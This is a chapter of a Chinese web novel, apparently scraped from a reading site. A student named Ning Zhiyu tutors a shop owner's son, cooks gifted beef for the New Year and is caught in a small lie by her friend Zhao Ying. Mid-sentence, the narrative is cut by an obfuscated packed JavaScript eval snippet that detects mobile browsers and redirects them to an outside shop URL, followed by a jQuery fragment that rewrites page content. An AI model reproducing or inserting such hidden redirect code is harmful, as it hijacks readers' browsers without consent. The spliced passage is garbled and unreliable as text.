等赵颖带着妹妹赵子璇一走，宁执玉马上给粿条汤店的张老板打了个电话，请求他帮自己圆谎——如果真有人来问关于吃年夜饭的问题的话。


    张老板浑然不觉得哪里不对劲，很爽快地答应帮忙，并表示……


    “如果年三十我们没回去的话，小玉你到时候过来跟我们一起吃个年夜饭吧？”张老板憨厚的声音从电话那头传来。


    宁执玉擦擦不存在的冷汗，要不是她知道张老板的两个儿子——大的阿文已经有了未婚妻，据说两人打算明年结婚，小儿子小武又还是个初中学生，远不需要考虑谈婚论嫁的事情……她真的有点怀疑是不是老张想培养自己当他的未来儿媳妇。


    虽然这么说好像有点过分自恋……还是悠着点吧。


    “过两天再看吧。说不定阿姨明天就能出院了呢？哈哈。”宁执玉婉拒道。


    张老板也没有强求什么，只是又叮嘱了宁执玉几句后就挂断了电话。


    等过了半个多小时后，张老板忽然又打来电话说：“有个很漂亮的女孩子带着个小姑娘真的过来问了。我照你说的回答她了……是你同学吗？”


    宁执玉难免愕然了几秒，没想到自己准备的圆谎小妙招居然真的派上用场了。她一方面为赵颖的刨根问底行为感到震惊，另一方面又意识到朋友对自己的关心之情已经突破了自己原本对她的性格既定认知。


    ——老赵你为了我，居然连原本的脸皮厚度都能舍弃了！Amazing！


    于是宁执玉回答：“对，好朋友。”


    顿了顿，她再次补充道：“特别要好的一个好朋友。”


    “哦，这样的朋友可真好！我太懂这个了！”张老板也开始忍不住跟她吹嘘几句自己以前的事情，“张叔我以前在老家读书的时候也有几个兄弟，大家都有那么好……”


    就这样，过年前的这几天过得风平浪静。


    反正宁执玉不需要贴春联，不需要大扫除，不用买年货和新衣服（没钱），每天抽空去粿条汤店里教初中生弟弟如何搭建知识框架体系顺带混一顿饭吃，此外的时间就是专心学习了。


    当然，她也没有忘记跟朋友们打视频电话。


    有时候群聊电话里四个人各干各的。


    周喜在湖南乡下放鞭炮，噪声一响起来就往新认识没多久的帅气男朋友怀里钻；王艺菡在商品琳琅满目的商场里逛街，但凡看中什么好东西就兴奋地拿起来问朋友们喜不喜欢，喜欢的话她就买下来打算带回国内当伴手礼；赵颖在臊眉耷眼地帮家里做一些力所能及的节前家务活，要不然就是在每日牵绳遛狗的路上。


    而宁执玉总是一边听她们的各自生活动静，一边埋首书山学海之中。


    谈恋爱固然好，但是把自己的身心交付出去本身就是非常危险的一件事情，更何况在亲身经历了父母的婚姻失败悲剧后宁执玉对于这件事保持着一种警惕又隐约有些抗拒的微妙心态。


    而且顶着这样一张不讨喜的脸，谁会失心疯了地爱上她呢？


    在资本主义国家目睹金钱的力量，享受着与国内截然不同的文化风气和生活特色……曾经的宁执玉距离这样的未来并不算太远，甚至可以说只有一步之遥。


    但是过去的事情已经过去了，命运向她揭示出离奇的变化和新的道标，宁执玉只能说服自己去接受它。


    也许等多年后她还会再去国外学习、工作、旅游或者探亲访友等等，但这并不是一个小县城的高二学生当前需要考虑的事情。


    至于赵颖这样哪怕外表看起来“平凡美满”的普通家庭……宁执玉只能报以同情二字。


    虽然赵杰他们在物质条件方面上基本没亏待过这个大女儿，但也算不上特别富养，尤其是跟妹妹赵子璇一对比就非常明显——而且在家住所换取的生活费用里，到底有多少钱是赵颖所付出的精神损伤费用，恐怕只有当事人自己心里清楚。


    事到如今，宁执玉哪怕再羡慕别人的生活，但她也知道……她一切只能靠自己了。


    爱你老己，明天见！


    …………


    ……


    2月14日，年二十九。


    在上午给张老板的小儿子小武上完课后，他突然有点不好意思地说：“小玉姐……我们一家可能等会下午就要开车回去了。”


    “哦？”宁执玉愣了一下，“阿姨已经出院啦？”


    “嗯，前天就出院。我妈已经没事了。”


    小武嘴比较笨，说不出什么太委婉动听的感谢话语，反倒是一直观察他们上课状态的张老板跑出来，热情地感谢了宁执玉这几天对自家小子的指导，并塞给了她一大袋东西。


    “叔，我不要，拿回去吧。”宁执玉客气推辞。


    “拿着！大过年的，一点心意！”张老板强行把沉甸甸的黑色塑料袋子塞进她手里，“我也跟小武他妈说了你这几天对小武学习上的帮忙，她也很感谢你，只是目前还在家休息，所以就没法来店里当面跟你道谢。”


    “不用不用！阿姨才刚出院，休息好比较重要。”宁执玉赶紧说道，然后又关切地问，“你们真的等会就走吗？”


    “啊，对的。”张老板也很无奈，“明天就是年三十了，陈水这边正常开车回潮汕去也最少要十八个小时，而且只有阿文和我换着开。毕竟老家里还有他们的爷爷奶奶在催着呢……”


    宁执玉理解了一切，虽然她是个无家可归之人，但她完全能共情那些渴望过年回到故乡的游子是何等心情。


    于是她和颜悦色地跟这在外打拼了整整一年的一家人告别，又叮嘱小武回去后也不要放弃梳理自己的知识体系，有什么不懂的可以发微信问自己。


    最后老宁提溜着张老板强塞到手里的那一大袋子东西回去了。


    等她回到烧烤店的厨房，打开黑色塑料袋一看，才发现里面不仅有一大盒已经切好的鲜牛肉片和满满一大碗牛骨高汤，甚至还有两条生的牛腱子肉！


    目测这些肉全部加起来起码五斤起步。


    天知道当看到那两条生牛腱肉时，宁执玉的脑子都停止思考了好几秒。


    ……好朴实的新年礼物啊。


    张老板是因为等会儿要提前关店回去收拾行李，离开陈水回老家，怕卖不掉这些牛肉才送给她吗？


    此外，老宁还在里面的另一个扎得严严实实的防水塑料袋子里找到了一个配好的卤料包和一张手写的烹饪说明，看得出是小武的字迹，她猜测这些做法应该是张老板口述出来让儿子写好的。


    张老板在字条上告诉宁执玉，鲜牛肉可以明后天拿来打火锅，但是牛腱肉放到后天再吃就不新鲜了，所以建议拿来做卤牛腱肉，这样可以存放得久一些。


    “喔，真贴心。”


    收到这些牛肉当然是意外之喜，宁执玉这人也不算太贪心，因为她在给初中生义务上课时想着顶多能混一碗粿条汤吃的程度而已……


    如今她心情极好地把牛肉放进冰箱里冷藏，又按照老板给出的配方先把两条牛腱子肉拿去腌制一晚上了。


    …………


    ……


    翌日，大年三十。


    一大早外头就有人在放鞭炮，噼里啪啦地把睡在烧烤店杂物间的老宁给吵醒了。


    她揉着眼睛醒来，日常锻炼了半个小时后，感觉更累了。


    宁执玉思来想去，决定适当减少一点今日的学习时间，毕竟昨晚因为硬啃一个知识难点而搞得很晚才睡——她宁某人又不是真的机器人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187101|195417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，天天24小时高强度学习也会学傻的好吧。


    很快，钻进厨房的宁执玉把腌制好的牛肉拿出来清洗，按照张老板的独家秘方教程开始做卤牛肉。


    趁着一锅卤水放在灶台上开始煮的间隙，老宁一边喝麦片，吃水煮蛋当作早餐，一边刷手机。


    眼看朋友圈里的不少人互相发一些新年吉祥话，宁执玉懒得想，随便摘抄了几个感觉特别喜庆吉利的台词，将它们删删减减糅合在一起，然后给最要好的那几个朋友单独发送，剩下的人全都一键群发……这已经是某些人的社交能力极限了。


    朋友们纷纷回复。


    【王艺菡：老宁新年快乐！新的一年里祝你身体健康，学习进步！】


    【周喜：谢谢姐妹~也祝姐妹新年事事如意，桃花朵朵开~】


    【赵颖：早上好啊，也祝宁老板在这一年里可以心想事成，早日暴富！】


    宁执玉一个一个地回消息，等她回得七七八八，结束一轮消息往返后，原本在高压锅中的牛肉已经可以放在焖烧锅里进行长时间的压力焖烧了。


    宁执玉把这一桶牛肉连卤水一起倒进无需插电的焖烧锅，盖上盖子，发现时间已经将近中午。


    但是因为刚吃完早餐，所以也不饿，老宁索性给手机调了个闹钟确定开盖时间是两小时后，她就回去补觉了。


    下午醒过来后没什么事，宁执玉呆滞地躺在自己硬得有些咯人背脊的床上思考了一会儿人生，发现得不出什么答案后，只好爬起来去看那锅卤牛肉做得如何。


    才刚到一楼大堂，她就闻到了卤水所特有的浓烈肉香味飘荡在空气中。


    迫不及待地掀开盖子，宁执玉拿着一根干净的筷子戳了戳被切成大段的牛肉，发现软硬度正好是自己喜欢的程度，当即大喜过望，拍了张照片发给张老板他们，并询问他们一家是否已经抵达目的地。


    那边很快回复了一个大拇指的“点赞”表情。


    【桐坑粿条店张老板：我们两小时前刚到老家，平安抵达！[抱拳][抱拳]谢谢小玉的关心牛肉做得很好，祝你和你的朋友们新年快乐！[烟花][烟花]】


    得到厨艺认可的宁执玉美滋滋地回复了消息，也祝张叔他们一家人过年好。


    然而就在这时候，宁执玉忽然隐约听到门外有人在叫自己的名字，像是赵颖的声音。


    倍感疑惑的老宁：？


    幻听吧。这人今天一大早不是说跟着父母回乡下过年吃饭去了吗。


    本来宁执玉没把这叫声当回事，但后来发现好像不是幻听，而且外面的叫声越来越急，以至于最后电话都打进来了。


    宁执玉对此真是无可奈何，只好跑去把烧烤店的玻璃门解开锁头，又拉起半截卷帘门，蹲在地上向外张望。


    ——牵着狗的赵颖正站在门外，手上提着一个食物打包盒，不知为何会一路散步至此。


    赵颖这人生得美丽，因此她的五官容貌是偏向冷冽气质的那种锐利美感，跟宁执玉这种顶多算是清秀斯文的和善路人脸完全不同（如果不看她的那道伤疤的话）。


    如今赵颖这张脸上却没有丝毫新年应有的喜气光景，反而是满脸都不知不觉地写着“我被人欺负了”的委屈和郁闷意味。


    这让原本想要调侃这人几句的宁执玉反而愣住了。


    “宁执玉，你果然在这儿。”赵颖一字一句地质问道，“果然去什么汤粉店老板家吃今晚的年夜饭，都是在骗我的吧？”


    宁执玉：“…………”


    哎哟卧槽，忘了张老板一家回去后，谎话就失效了！


    她心虚地沉默了几秒，若无其事地岔开话题说：“你来得正好，进来吃点牛肉？”


    赵颖：？